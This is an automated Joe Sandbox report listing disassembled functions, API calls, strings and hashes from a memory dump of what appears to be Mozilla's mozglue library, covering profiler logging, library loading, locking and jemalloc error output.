Function 6C961640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C961699
VerSetConditionMask.NTDLL ref: 6C9616CB
VerSetConditionMask.NTDLL ref: 6C9616D7
VerSetConditionMask.NTDLL ref: 6C9616DE
VerSetConditionMask.NTDLL ref: 6C9616E5
VerSetConditionMask.NTDLL ref: 6C9616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9616F9

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 8f8a2cd46451d108828f2a413a0759199c5cf10e5333fb35fd7ac93a3b1621c1
Instruction ID: bba0b897be92b6e228a67421185f6b1bd8524806e54ce4ec3bb1d896e3242523
Opcode Fuzzy Hash: 8f8a2cd46451d108828f2a413a0759199c5cf10e5333fb35fd7ac93a3b1621c1
Instruction Fuzzy Hash: 9821D5B07442086BFB106A65CC45FBBB37CDF96704F044528F645AB6C0C674EE54C6A1

Function 6C99F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C99F598), ref: 6C99F621

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F637
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F645
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C99F62A

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 99e2e4a7255e96c9c32b5a1c0ac3f4d8398d7a213746abeb72b20cee0978f20d
Instruction ID: dbfb89039c02f222b4e8578100ebe23204c7e3c60010c0d8b7a0a5392eb98bc5
Opcode Fuzzy Hash: 99e2e4a7255e96c9c32b5a1c0ac3f4d8398d7a213746abeb72b20cee0978f20d
Instruction Fuzzy Hash: 0211E371209A05AFCB40AF58C8489A5B77DFF9635DB280015FA09A3F01CB71F861CBA1

Function 6C961FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C961FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C961FFD
__Init_thread_footer.LIBCMT ref: 6C962011
FreeLibrary.KERNEL32 ref: 6C962059

Strings

combase.dll, xrefs: 6C961FD9
CoCreateInstance, xrefs: 6C961FF7

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 3a34ae18cd0fd3d7efdd1a7d06b4178ed928b9b246e63cdec053077a44efb8a4
Instruction ID: a05e65fbecb88758537929cf5cc8fa50c83dc609a7091692d6ff7701b3159862
Opcode Fuzzy Hash: 3a34ae18cd0fd3d7efdd1a7d06b4178ed928b9b246e63cdec053077a44efb8a4
Instruction Fuzzy Hash: 29115175209A05EFEF10CF55C84EE667B79EB86359F208419F905A3A80C731F890DFA1

Function 6C960EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C98D9F0,00000000), ref: 6C960F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C960F3C
__Init_thread_footer.LIBCMT ref: 6C960F50
FreeLibrary.KERNEL32(?,6C98D9F0,00000000), ref: 6C960F86

Strings

combase.dll, xrefs: 6C960F18
CoInitializeEx, xrefs: 6C960F36

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: d57daf84c3f9b33a4cdf9cde6b74a579e95b91fccb7cd8b778d0dff63dff6da6
Instruction ID: db76d53b309ef7e029be97d9141d51536daebdb60b8c645d9d77956a38dafc03
Opcode Fuzzy Hash: d57daf84c3f9b33a4cdf9cde6b74a579e95b91fccb7cd8b778d0dff63dff6da6
Instruction Fuzzy Hash: EC110630719A419BEF00CF55C949A693778EB8B32AF208619E905B3B80DB30F480CA69

Function 6C99F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F561

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F577
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F585
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C99F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C99F56A
[I %d/%d] profiler_resume, xrefs: 6C99F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C99F499

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: e30c48d20f17c9ec6a6d5f07fc484cf4078869230fad77126673fd32d574df5b
Instruction ID: aa67c257549bbc056e8f111de936c12045696a46ba325a43ddb5548bf236ee4b
Opcode Fuzzy Hash: e30c48d20f17c9ec6a6d5f07fc484cf4078869230fad77126673fd32d574df5b
Instruction Fuzzy Hash: 27F0B475204A049FDB006F699C4C96A77BDEB9629EF294015FA09A3701CF31E84087B1

Function 6C99F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C99F598), ref: 6C99F621

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F637
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F645
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C99F62A

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 9a23326c18c620d3b4f5665758a1c7df30de0d042a0c62ae7b176801473360a7
Instruction ID: 8c8f31107bf0dabd3aea7ad4356660dd60110da7ec23acc7c525b99d64a93a69
Opcode Fuzzy Hash: 9a23326c18c620d3b4f5665758a1c7df30de0d042a0c62ae7b176801473360a7
Instruction Fuzzy Hash: 07F0B475204A04AFDF006F688C4C95A777DEB9625EF254015FA09A3701CB75E84587B1

Function 6C960E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C960DF8), ref: 6C960E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C960EA1
__Init_thread_footer.LIBCMT ref: 6C960EB5
FreeLibrary.KERNEL32 ref: 6C960EC5

Strings

kernel32.dll, xrefs: 6C960E7D
GetProcessMitigationPolicy, xrefs: 6C960E9B

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0bf903564c60863462c14bb70443c6a6c79dd39a2da2b3aacfdda3046ff6dad3
Instruction ID: 65fc3a797f989c6b03bbc0683c11bc91570c852e558421845a6d685752eb891e
Opcode Fuzzy Hash: 0bf903564c60863462c14bb70443c6a6c79dd39a2da2b3aacfdda3046ff6dad3
Instruction Fuzzy Hash: D9014B74708A828BEF018FE9CA96BC273B5E766B1DF205525D901A3F80DB74F484CA56

Function 6C9905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C98CFAE,?,?,?,6C9531A7), ref: 6C9905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C98CFAE,?,?,?,6C9531A7), ref: 6C990616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9531A7), ref: 6C99061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9531A7), ref: 6C990627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C99061B, 6C990625
<jemalloc>, xrefs: 6C9905FA, 6C99060F

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 25db96d4eb97f6669a0a88a1216d998ba0ed13a1334b52ae264f65a75ea91de4
Instruction ID: 4ab761612b90a7cc9a4172cf68e3dfbe69a8d3ff13eb501e7c7b282a36168844
Opcode Fuzzy Hash: 25db96d4eb97f6669a0a88a1216d998ba0ed13a1334b52ae264f65a75ea91de4
Instruction Fuzzy Hash: 1CE08CE2A0101037F614225ABC86DBB7A1CDBDA134F080039FE0D82741E94AFD1A51F7

Function 6C9605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bde2914b230708ec333edf2da442098fa2ffc8ec3e3d8488a5b697087bd924fa
Instruction ID: 37056422203d542312f73db08791f16c3d8635f9fd490470ecfef97f7501e69f
Opcode Fuzzy Hash: bde2914b230708ec333edf2da442098fa2ffc8ec3e3d8488a5b697087bd924fa
Instruction Fuzzy Hash: 80A16A70A05605CFDB14CF29C984A99FBF5BF49304F5486AED44AA7B40D730BA95CF90

Function 6C9B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9B14E2
GetCurrentThreadId.KERNEL32 ref: 6C9B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C9B15BA
free.MOZGLUE(?), ref: 6C9B16B4

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 770ed80ba0c0b4aa20744db873b38cabef78ec103e14aba8f224427342d16040
Instruction ID: 5603e48839bfa033874eb59e7bb1d8b95b75ccec8b4ea55c9fd9923afc74763e
Opcode Fuzzy Hash: 770ed80ba0c0b4aa20744db873b38cabef78ec103e14aba8f224427342d16040
Instruction Fuzzy Hash: 8561DF72A05700EBDB118F64C880BDEB7B5BF9A308F04851CED8A67711DB31E999CB91

Function 6C9A9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9A9FDB
free.MOZGLUE(?,?), ref: 6C9A9FF0
free.MOZGLUE(?,?), ref: 6C9AA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9AA0BE
free.MOZGLUE(?,?), ref: 6C9AA0D5
free.MOZGLUE(?,?), ref: 6C9AA0EB

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 6010b17c64fdc12d60f86bdafdcb9194a1e10ec7c5018c29ffbb07ec0987e6d3
Instruction ID: e92d98efe0ba971143f20b948222a7e7f1b7473426a01bcc9f839b9d99cffe8e
Opcode Fuzzy Hash: 6010b17c64fdc12d60f86bdafdcb9194a1e10ec7c5018c29ffbb07ec0987e6d3
Instruction Fuzzy Hash: 6261DF754096019FC751CF58C48059AB3F5FF98328F148669E8999B702EB32E986CFD1

Function 6C9ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C9AD38A,?), ref: 6C9ADC6F
free.MOZGLUE(?,?,?,?,?,6C9AD38A,?), ref: 6C9ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C9AD38A,?), ref: 6C9ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C9AD38A,?), ref: 6C9ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C9AD38A,?), ref: 6C9ADD4A

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 24dc189e55704bb509b1dec34db959b011ff9ef85d3745b0e5c29eb4621a213f
Instruction ID: 935987abb3a558640313b70b9eca53db3ade4ce5fc80780065d94d58081a4af8
Opcode Fuzzy Hash: 24dc189e55704bb509b1dec34db959b011ff9ef85d3745b0e5c29eb4621a213f
Instruction Fuzzy Hash: 52419CB6A00605DFCB00CF99C88099AB7F5FF98304B654469DD05ABB10D731FC01CBA0

Function 6C996590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C98FA80: GetCurrentThreadId.KERNEL32 ref: 6C98FA8D
Part of subcall function 6C98FA80: AcquireSRWLockExclusive.KERNEL32(6C9DF448), ref: 6C98FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C996727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9967C8

Part of subcall function 6C9A4290: memcpy.VCRUNTIME140(?,?,6C9B2003,6C9B0AD9,?,6C9B0AD9,00000000,?,6C9B0AD9,?,00000004,?,6C9B1A62,?,6C9B2003,?), ref: 6C9A42C4

Strings

data, xrefs: 6C996593

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 05005de064831a547376c7b9aa1fad48b7a46f93473802ac7ffeaa75292965f9
Instruction ID: ab996b97badea893eaba6de8e0d50924e7c97fa7344ac8d40f2b1daa6674e183
Opcode Fuzzy Hash: 05005de064831a547376c7b9aa1fad48b7a46f93473802ac7ffeaa75292965f9
Instruction Fuzzy Hash: 48D1DF71A093408FD764CF25C841B9FB7E5AFE5308F14892DE48997B91DB30E949CB92

Function 6C9AC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9AC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9AC842

Part of subcall function 6C9ACAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9CB5EB,00000000), ref: 6C9ACB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C9AC863
std::_Facet_Register.LIBCPMT ref: 6C9AC875

Part of subcall function 6C98B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9CB636,?), ref: 6C98B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9AC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AC8BC

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: b4778fe9476e8610c3c7196cac04df22de242c41e3559b0939326dd95945073c
Instruction ID: de425f6e6c87dabd49fb10cc3ef8815e54e3b4c49c74c4dc543ed5eed866ae8f
Opcode Fuzzy Hash: b4778fe9476e8610c3c7196cac04df22de242c41e3559b0939326dd95945073c
Instruction Fuzzy Hash: BB11B675B046099BCB04DFA4C8899AE7BB9FF99354B200529E606AB340DB31E945CB91

